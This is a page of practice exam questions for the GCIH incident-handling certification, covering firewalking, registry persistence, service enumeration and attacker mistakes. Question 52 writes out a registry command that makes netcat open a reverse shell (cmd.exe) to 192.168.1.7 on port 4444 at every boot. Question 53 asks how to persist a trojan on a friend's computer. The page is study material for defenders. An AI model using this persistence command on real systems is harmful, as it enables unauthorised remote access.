GCIH Practice Test

GCIH Practice Test practice questions, page 11 of 34, with answer review and explanations.

Question 51

Which of the following statements are true about firewalking? Each correct answer represents a complete solution. (Choose all that apply.)

  1. To use firewalking, the attacker needs the IP address of the last known gateway before the firewall and the IP address of a host located behind the firewall.
  2. In this technique, an attacker sends a crafted packet with a TTL value that is set to expire one hop past the firewall.
  3. A malicious attacker can use firewalking to determine the types of ports/protocols that can bypass the firewall.
  4. Firewalking works on the UDP packets.

Question 52

You run the following command on the remote Windows server 2003 computer: c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe" What task do you want to perform by running this command? Each correct answer represents a complete solution. (Choose all that apply.)

  1. You want to perform banner grabbing.
  2. You want to set the Netcat to execute command any time.
  3. You want to put Netcat in the stealth mode.
  4. You want to add the Netcat command to the Windows registry.

Question 53

You have inserted a Trojan on your friend's computer and you want to put it in the startup so that whenever the computer reboots the Trojan will start to run on the startup. Which of the following registry entries will you edit to accomplish the task?

  1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Startup
  2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Auto
  3. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
  4. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Start

Question 54

Which of the following is the best method of accurately identifying the services running on a victim host?

  1. Use of the manual method of telnet to each of the open ports.
  2. Use of a port scanner to scan each port to confirm the services running.
  3. Use of hit and trial method to guess the services and ports of the victim host.
  4. Use of a vulnerability scanner to try to probe each port to verify which service is running.

Question 55

Jason, a Malicious Hacker, is a student of Baker university. He wants to perform remote hacking on the server of DataSoft Inc. to hone his hacking skills. The company has a Windows-based network. Jason successfully enters the target system remotely by using the advantage of vulnerability. He places a Trojan to maintain future access and then disconnects the remote session. The employees of the company complain to Mark, who works as a Professional Ethical Hacker for DataSoft Inc., that some computers are very slow. Mark diagnoses the network and finds that some irrelevant log files and signs of Trojans are present on the computers. He suspects that a malicious hacker has accessed the network. Mark takes the help from Forensic Investigators and catches Jason. Which of the following mistakes made by Jason helped the Forensic Investigators catch him?

  1. Jason did not perform a vulnerability assessment.
  2. Jason did not perform OS fingerprinting.
  3. Jason did not perform foot printing.
  4. Jason did not perform covering tracks.
  5. Jason did not perform port scanning.